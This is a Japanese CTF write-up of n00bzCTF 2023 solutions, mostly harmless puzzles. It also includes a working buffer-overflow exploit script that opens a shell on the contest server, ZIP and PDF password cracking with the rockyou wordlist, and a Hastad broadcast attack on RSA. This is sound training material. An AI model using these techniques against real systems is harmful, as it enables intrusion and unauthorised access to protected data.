この大会は2023/6/10 1:00(JST)~2023/6/12 1:00(JST)に開催されました。
今回もチームで参戦。結果は3845点で855チーム中141位でした。
自分で解けた問題をWriteupとして書いておきます。
Amazing Song Lyrics (Misc)
以下のページを参考に対応するアルファベットにする。
https://ja.m.wikipedia.org/wiki/%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB:Asl-sign-language-coloring-at-coloring-pages-for-kids-boys-dotcom.svg
americ ansign langua gedeco ded
n00bz{americansignlanguagedecoded}
Google Form 1 (Misc)
フラグをチェックするアンケートフォームになっている。HTMLソースを見ると、スクリプトの部分にフラグのチェック部分があり、フラグが書いてあった。
n00bz{1n5p3ct_3l3m3n7_ftw!}
My Chemical Romance (Misc)
186808155710を2桁ごとに区切り、元素記号の表を見ながら、対応するものを並べる。
Ar Er O P La Ne
これを連結して、小文字にする。
areroplane
問題文には「Note: It forms a complete word, so you might have to leave out something」とあるので、英単語になるよう1文字抜いて、フラグにする。
n00bz{aeroplane}
Pwn1 (Pwn)
Ghidraでデコンパイルする。
void main(EVP_PKEY_CTX *param_1) { char local_48 [64]; init(param_1); puts("Would you like a flag?"); fgets(local_48,0x50,stdin); system("cat fake_flag.txt"); return; } void win(void) { system("/bin/sh"); return; }
BOFでwin関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challs.n00bzunit3d.xyz', 35932) else: p = process('./pwn1') elf = ELF('./pwn1') win_addr = elf.symbols['win'] payload = b'A' * 72 payload += p64(win_addr) data = p.recvline().decode().rstrip() print(data) print(payload) p.sendline(payload) data = p.recvuntil(b'}').decode() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challs.n00bzunit3d.xyz on port 35932: Done [*] '/media/sf_Shared/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Would you like a flag? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x12@\x00\x00\x00\x00\x00' n00bz{f4k3_fl4g} [*] Switching to interactive mode $ ls fake_flag.txt flag.txt pwn1 $ cat flag.txt n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
Welcome (Rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Input flag : "); fgets(local_118,0x100,stdin); iVar1 = strcmp(local_118, "n00bz{N3v3R_$torE_$ENs1TIV3_1nFOrMa7IOn_P1aiNtexT_In_yoUr_bin4rI3S!!!!!}"); if (iVar1 == 0) { puts("Correct flag !"); } else { puts("Wrong flag !"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
比較文字列にフラグが書いてあった。
n00bz{N3v3R_$torE_$ENs1TIV3_1nFOrMa7IOn_P1aiNtexT_In_yoUr_bin4rI3S!!!!!}
Robots (Web)
http://challs.n00bzunit3d.xyz:36083/robots.txtにアクセスすると、フラグが表示された。
n00bz{1_f0und_7h3_r0b0ts!}
Crack & Crack (Forensics)
zipはパスワードがかかっているので、クラックする。
$ fcrackzip -u -D -p dict/rockyou.txt flag.zip PASSWORD FOUND!!!!: pw == 1337h4x0r
このパスワードでzipを解凍する。
$ unzip flag.zip Archive: flag.zip [flag.zip] flag.pdf password: inflating: flag.pdf
PDFが展開されるが、これもパスワードがかかっているので、クラックする。
$ pdfcrack -f flag.pdf -w dict/rockyou.txt PDF version 1.5 Security Handler: Standard V: 2 R: 3 P: -3904 Length: 128 Encrypted Metadata: True FileID: 3ac35b37fdbe79c0efcd2074d254feec U: 7046f3323934ab6c310e0f7edae1de0400000000000000000000000000000000 O: 9ccbdd5b3bcac3e7e2a53e3cf13b34b8008d6b9d8538b18583e6557227e73c9c Average Speed: 61739.8 w/s. Current Word: 'tauro69' Average Speed: 61205.7 w/s. Current Word: '#1preston' Average Speed: 63310.4 w/s. Current Word: 'sk8-boy' Average Speed: 62423.3 w/s. Current Word: 'nveeev' found user-password: 'noobmaster'
このパスワードでPDFを開くと、フラグが書いてあった。
n00bz{CR4CK3D_4ND_CR4CK3D_1a4d2e5f}
Avengers (Forensics)
動画を見ると、2進数文字列8桁が表示されるので、まずフレームごとに分割する。
#!/usr/bin/env python3 import cv2 movie = cv2.VideoCapture('flag.avi') nframe = int(movie.get(cv2.CAP_PROP_FRAME_COUNT)) for i in range(nframe): ret, frame = movie.read() cv2.imwrite('frames/flag_' + str(i).zfill(4) + '.png', frame)
分割したファイルを見ながら、2進数文字列を書き出す。
01101110 00110000 00110000 01100010 01111010 01111011 00110111 01101000 00110001 01110011 01011111 00110001 01110011 01011111 00110100 01011111 01110110 00110011 01110010 01111001 01011111 01101100 00110000 01101110 01100111 01011111 01100110 01101100 00110100 01100111 01011111 01110011 00110000 01011111 01110100 01101000 00110100 01110100 01011111 01111001 00110000 01110101 01011111 01100011 00110100 01101110 01101110 00110000 01110100 01011111 01110011 00110000 01101100 01110110 00110011 01011111 00110111 01101000 00110011 01011111 01100011 01101000 00110100 01101100 01101100 00110011 01101110 01100111 00110011 01011111 01101101 00110100 01101110 01110101 00110100 01101100 01101100 01111001 01011111 01100010 00110111 01110111 01011111 00110111 00110011 01110011 00110011 01110010 00110100 01100011 00110111 01011111 00110001 01110011 01011111 00110100 01011111 01110110 00110011 01110010 01111001 01011111 01100111 00110000 00110000 01100100 01011111 01110100 00110000 00110000 01101100 00100001 01111101
この2進数文字列をデコードする。
#!/usr/bin/env python3 codes = ['01101110', '00110000', '00110000', '01100010', '01111010', '01111011', '00110111', '01101000', '00110001', '01110011', '01011111', '00110001', '01110011', '01011111', '00110100', '01011111', '01110110', '00110011', '01110010', '01111001', '01011111', '01101100', '00110000', '01101110', '01100111', '01011111', '01100110', '01101100', '00110100', '01100111', '01011111', '01110011', '00110000', '01011111', '01110100', '01101000', '00110100', '01110100', '01011111', '01111001', '00110000', '01110101', '01011111', '01100011', '00110100', '01101110', '01101110', '00110000', '01110100', '01011111', '01110011', '00110000', '01101100', '01110110', '00110011', '01011111', '00110111', '01101000', '00110011', '01011111', '01100011', '01101000', '00110100', '01101100', '01101100', '00110011', '01101110', '01100111', '00110011', '01011111', '01101101', '00110100', '01101110', '01110101', '00110100', '01101100', '01101100', '01111001', '01011111', '01100010', '00110111', '01110111', '01011111', '00110111', '00110011', '01110011', '00110011', '01110010', '00110100', '01100011', '00110111', '01011111', '00110001', '01110011', '01011111', '00110100', '01011111', '01110110', '00110011', '01110010', '01111001', '01011111', '01100111', '00110000', '00110000', '01100100', '01011111', '01110100', '00110000', '00110000', '01101100', '00100001', '01111101'] flag = '' for code in codes: flag += chr(int(code, 2)) print(flag)
n00bz{7h1s_1s_4_v3ry_l0ng_fl4g_s0_th4t_y0u_c4nn0t_s0lv3_7h3_ch4ll3ng3_m4nu4lly_b7w_73s3r4c7_1s_4_v3ry_g00d_t00l!}
QRazy CSV (Forensics)
QRコードで、行列の黒の位置を示していると推測できるので、黒を"X"、白を"_"としてQRコードを復元する。
#!/usr/bin/env python3 with open('secret.csv', 'r') as f: lines = f.read().splitlines()[1:] qr_mat = [['_'] * 29 for _ in range(29)] for line in lines: rc = line[1:-1] r = int(rc.split(',')[0]) c = int(rc.split(',')[1]) qr_mat[r][c] = 'X' qr = '' for i in range(len(qr_mat)): row = ''.join(qr_mat[i]) qr += row + '\n' with open('qr.txt', 'w') as f: f.write(qr)
復元したQRコードを読み取る。
$ python sqrd.py qr.txt n00bz{qr_c0d3_1n_4_t3xt_f1l3_w0w!!!!!!}
n00bz{qr_c0d3_1n_4_t3xt_f1l3_w0w!!!!!!}
BeepBop (Forensics)
sstvでデコードしてみる。
$ sstv -d chall.wav -o flag.png [sstv] Searching for calibration header... Found! [sstv] Detected SSTV mode Martin 1 [sstv] Decoding image... [#################################################################################################] 100% [sstv] Drawing image data... [sstv] ...Done!
出力した画像にフラグが書いてあった。
n00bz{beep_bop_you_found_me!}
Hecked (Forensics)
通信はほぼFTPに関するもの。サービスはvsFTPd 2.3.4。TCPストリームを見ると、最初に実行しているコマンドはid。
$ echo -n vsFTPd_2.3.4_id | md5sum a806fef72a92508b7a64776bb83ad4cb -
n00bz{a806fef72a92508b7a64776bb83ad4cb}
LSB (Forensics)
wavのLSBの問題。stegolsbで抽出してみる。
$ stegolsb wavsteg -r -i chall.wav -o flag.txt -b 50 Files read in 0.00s Recovered 50 bytes in 0.00s Written output file in 0.00s $ cat flag.txt n00bz{L5B_1n_w4v_f1l3s?!!!}$ d▒h��8�������8+��C
n00bz{L5B_1n_w4v_f1l3s?!!!}
Aes-1 (Crypto)
enc.javaを元に復号するコードを作成・実行し、復号する。
import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import java.nio.charset.StandardCharsets; import java.security.spec.KeySpec; import java.util.Base64; public class Solve { private static final String AES_ALGORITHM = "AES"; private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256"; private static final int ITERATIONS = 10000; private static final int KEY_SIZE = 256; private static SecretKey generateKey(String password, byte[] salt) throws Exception { KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE); SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM); SecretKey tmp = factory.generateSecret(spec); return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM); } private static String decrypt(String cipherText, SecretKey key) throws Exception { byte[] encryptedByes = Base64.getDecoder().decode(cipherText); Cipher cipher = Cipher.getInstance(AES_ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, key); byte[] decryptedBytes = cipher.doFinal(encryptedByes); return new String(decryptedBytes, StandardCharsets.UTF_8); } public static void main(String[] args) { String encryptedFlag = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ="; String password = "aesiseasy"; byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8); try { SecretKey key = generateKey(password, salt); String flag = decrypt(encryptedFlag, key); System.out.println(flag); } catch (Exception e) { e.printStackTrace(); } } }
n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}
MaaS (Crypto)
サーバの処理概要は以下の通り。
・alpha: 英大文字の'A'から'Z'までの文字列 ・to_guess = '' ・16回以下繰り返し ・alphaから1文字選択し、to_guessに結合 ・to_guessの長さ分繰り返し(i) ・3回以下繰り返し(j) ・inp: 数値入力 ・guess = inp << 16 ・guessをto_guess[i]のASCIIコードで割った余りを表示 ・last_guess: 入力 ・last_guessとto_guessが一致している場合、フラグを表示
3回のguess % ord(to_guess[i])の情報からto_guess[i]を算出することを繰り返し、to_guessを割り出す。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) alpha = 'abcdefghijklmnopqrstuvwxyz'.upper() inps = [3, 5, 7] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.n00bzunit3d.xyz', 51081)) guess = '' for i in range(16): vals = [] for j in range(3): data = recvuntil(s, b': ') print(data + str(inps[j])) s.sendall(str(inps[j]).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) vals.append(int(data)) for c in alpha: success = True for j in range(3): v = (inps[j] << 16) % ord(c) if v != vals[j]: success = False break if success: guess += c break data = recvuntil(s, b': ') print(data + guess) s.sendall(guess.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Guessing letter 0, Enter Guess: 3 48 Guessing letter 0, Enter Guess: 5 80 Guessing letter 0, Enter Guess: 7 28 Guessing letter 1, Enter Guess: 3 27 Guessing letter 1, Enter Guess: 5 45 Guessing letter 1, Enter Guess: 7 63 Guessing letter 2, Enter Guess: 3 27 Guessing letter 2, Enter Guess: 5 45 Guessing letter 2, Enter Guess: 7 63 Guessing letter 3, Enter Guess: 3 48 Guessing letter 3, Enter Guess: 5 15 Guessing letter 3, Enter Guess: 7 47 Guessing letter 4, Enter Guess: 3 9 Guessing letter 4, Enter Guess: 5 15 Guessing letter 4, Enter Guess: 7 21 Guessing letter 5, Enter Guess: 3 7 Guessing letter 5, Enter Guess: 5 71 Guessing letter 5, Enter Guess: 7 46 Guessing letter 6, Enter Guess: 3 56 Guessing letter 6, Enter Guess: 5 67 Guessing letter 6, Enter Guess: 7 78 Guessing letter 7, Enter Guess: 3 48 Guessing letter 7, Enter Guess: 5 8 Guessing letter 7, Enter Guess: 7 40 Guessing letter 8, Enter Guess: 3 48 Guessing letter 8, Enter Guess: 5 15 Guessing letter 8, Enter Guess: 7 47 Guessing letter 9, Enter Guess: 3 72 Guessing letter 9, Enter Guess: 5 44 Guessing letter 9, Enter Guess: 7 16 Guessing letter 10, Enter Guess: 3 48 Guessing letter 10, Enter Guess: 5 15 Guessing letter 10, Enter Guess: 7 47 Guessing letter 11, Enter Guess: 3 12 Guessing letter 11, Enter Guess: 5 20 Guessing letter 11, Enter Guess: 7 28 Guessing letter 12, Enter Guess: 3 60 Guessing letter 12, Enter Guess: 5 56 Guessing letter 12, Enter Guess: 7 52 Guessing letter 13, Enter Guess: 3 48 Guessing letter 13, Enter Guess: 5 2 Guessing letter 13, Enter Guess: 7 34 Guessing letter 14, Enter Guess: 3 27 Guessing letter 14, Enter Guess: 5 45 Guessing letter 14, Enter Guess: 7 63 Guessing letter 15, Enter Guess: 3 64 Guessing letter 15, Enter Guess: 5 79 Guessing letter 15, Enter Guess: 7 11 Enter Guess: TMMAGYOHALAVBNMS n00bz{M0dul0_f7w_1a4d3f5c!}
n00bz{M0dul0_f7w_1a4d3f5c!}
RSA (Crypto)
$ nc challs.n00bzunit3d.xyz 2069 e = 17 ct = 3292162736432394075742568552993876950073293667659860175984395779657343785943833816382726370348006174934631397047663198973429033183536269142521700035759456336101967069457538117407684384832918228030810462600488058231610344288107563130650767511556826408711346377779927927293727988263087374685490855849280016094409223238550594838809191309531509679298224666471297472579401211368278510748659506399714349026137752513516248941173961429632493962730519913686059752676485615939481634335104161265191739493694674877165025982565382786378999406178519592008533855204248101150931459944117785370679763870837956909693574174646652389509 n = 15484996561904488307031029394850849561855320594985742350455523810130686957535893475708264592525717519021662159504255470193843334433537745187464041693211051107009735934276041251654862731900815155095771371863396909034948531747004370225161072704974779472900209578591967653159969194187143643268779157251132727971215129748295756628596950598846673216382103713299761993436455742989497515580111742382474303896927078371074393824883101367276852856524329170690504971407052243049649192158611006875027510333681608629655666704073493108300423877754226919354352742021178919563601295629054162727148653470690593373676619777154175279677 $ nc challs.n00bzunit3d.xyz 2069 e = 17 ct = 3984057163148365277269068920436945187109576583275141987652922187878448966762495786774563643702171672899481567876889357534706807345159504110323201182521823929135338898375289230524721429243204655499568869538345601434896676946167508497832847172717578381190265828958536139685113219073088434068520668075154879765089161563570773509205181494092111324363458478145343335428750751688036876122708339249362681738082037018944214289580760201777265849837368824278707962990903130871616835098154465925196503930855917166164909728714072662318037589871267508820914822178002679326525331315541648486763200531075074232203557591019063807591 n = 16258442868418625618625985075261292082976163892915305816089686000141693501539513160937854670743345730077954706753720687781075349485699920010049431464262093829573211818817843144329717757941042099286337541172210305284362252836554686061465389076280566020455273929089248237777982112152366329331803217218252031327771274957978034195390365083618116508032213673547991202617548062225602413702246657572082711037312476249394134366913093750336203629020843132370257417630907599929944792579083751062973518448108042323584398716127400076021082843129572684882624962898371736849515654292166877481738427044523594458476927073570706323877
eが17で、nとctが変わる。この組み合わせを17個集め、Hastad's Broadcast Attackで復号する。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * from sympy.ntheory.modular import crt from gmpy2 import iroot def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) ns = [] cs = [] for _ in range(17): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.n00bzunit3d.xyz', 2069)) data = recvuntil(s, b'\n').rstrip() print(data) e = int(data.split(' ')[-1]) assert e == 17 data = recvuntil(s, b'\n').rstrip() print(data) ct = int(data.split(' ')[-1]) cs.append(ct) data = recvuntil(s, b'\n').rstrip() print(data) n = int(data.split(' ')[-1]) ns.append(n) me, _ = crt(ns, cs) m, success = iroot(me, e) assert success flag = long_to_bytes(m).decode() print(flag)
実行結果は以下の通り。
: e = 17 ct = 5901989844091291638482059114809020449570631958926344633511629249734152725191444259887311594120535981745590161164443683786423695320951115527708848113013590910186385031244853940788359043301066242884167845355740643075730593769801196649313275249528295343296813709561206561157471405012559815720688246561908514000839755511214289175959559880771598443197265689552238248202375839188231656801388391468532423995597221922581341899708459199932538945787523454450373364427546187659779152227235604818633570877762929954681524403814226852560296868372852590718583022763384488466105656050117711086797100663798409211538923523205860124876 n = 23380220345585120346907238421752355937087003334167437741061769782006604448295883052157453873024491646465169259366018737202615059502052747979225502660895717559668445231584716442269922323725945102613332880656630135845451667992980478414095333961071441939620543352302719455278024671254879050307959368869124312328398708454910766599588912830243103427868061851962576566905661208667478987137146420147827206229220740422884287113622369163028487015694513948856739754242744640979498290492354011757524158964200364232761042322586151563727225385175412523739792179675408506111612451503280751154210779439849257439018581832603421439179 e = 17 ct = 5673653258341833897874110198550183145777578862117605978359090930909079293175906549077649001435781533337159717754375900730508486519246475056963341775343723686693610610251176047413074769742484440382880452391287730527430557860039327392338369522487344484371160838252779393663732077485512639312669741283815541176568232019038834663753565783299737984751072578935591001322404459901071412784957140088615349362732981274292575184263370600190641739102549389258882182445425814393896002794488702604729716311697541277011193181161844750018251525419940972543663879037542149545577565853287327745789867874142099619790384094571315331935 n = 17936479349854482152683278664112956730315333375415820613090163447398892540981897559178189433725769607005942178091795428889668929079440070945787355034588403880065674540890147613113530426696994226572728633489960164815358617153936557357952862672102212062014954953729440480069436313222603329141350765127678405903313947194400111549191235261870884630528152669415054381931585125479037836276337741608299196782947806197504868828839141713774614730068331431615683171537189025043498948030567575890003470985221398185571011938133524478337375179803251843530215788200118025639045230691981062855672511517252510046014132862631498511277 e = 17 ct = 14693985384971441327704246402189361946602967971109109059940126830101758104190958809680977489368496043663083231790152599821951661070769238764043073394417242171070520014526809282036531311818808595621266566359897438724710392073419986361177542146472127676825246681068870801596385751231603360265880727251982033732836876625736647092926808994445210069961022601407773044192684358477411404273997498003020757412678457330368288025843113248573224298462136663420742256482181667010895720582931086947514511675140352180120844028722422260692442179586670386177794468864792277595204245194973451691684142612129286916878363915451995188871 n = 22595534332185426865936946605665096071458354940988233255088334520055816566991452296616350714120365240587403912604931212170817082213837249515253315791223751435011674546494465866587769481831807010600173081043406789932752110519023290197850685504989097003726294305775022038805924768981742102175628783167878923417403492435730249725228767904467101448069886740321615274680376397195728989460826231974748461531406964454591618729203177660802399868513996281202668432729376302904674285980596641174286885427675997152759341823584107964618266899976582349392622512609987949760092352923728700683665665271351299919998006501108238989871 e = 17 ct = 15054527179408525607230090988566983122996023644514816639453680928762473595182803886599866830349218461702509993714523685942227894943680360173799381209085905045562769055597864881706626078019188550621700208423317531644715105973951012953808832180066451988999119621429996135428209092887946585935655301978529707134869907543308204418631374047921705405321905199239140120234812188814288229828131277772636816389667429493796476302525785209575285274658262722599385362202449469285410894647898902494654992021003902663292406433432053656684732164988807869606618941093268744686100389761776491852040367625898517345774070110070075103851 n = 21659869434442822993431280142334028983087389256339904503541872491726031723000763465952145743532782391477263066441102686431572667369736824501765777684884464806711086451467669943265144579182037480546319636516077098962684747805992832632682646045110730370981685172228900323694515719794423226476131030080504560535354059907185864812306847332382159403753413398671287199457568512422979654223003513339182503518439940328265598657943179302739629258539862284322470613263186106382416425620027327496630399968311001223861859930748580605289641474279912136468790061534472356593172325414285011717252982695072776283978475441605351009919 n00bz{5m4ll_3_1s_n3v3r_g00d!}
n00bz{5m4ll_3_1s_n3v3r_g00d!}
Survey (Misc)
アンケートに答えたら、フラグが表示された。
n00bz{7h4nk_y0u_f0r_pl4y1ng_n00bzCTF2023_w1th_u5!}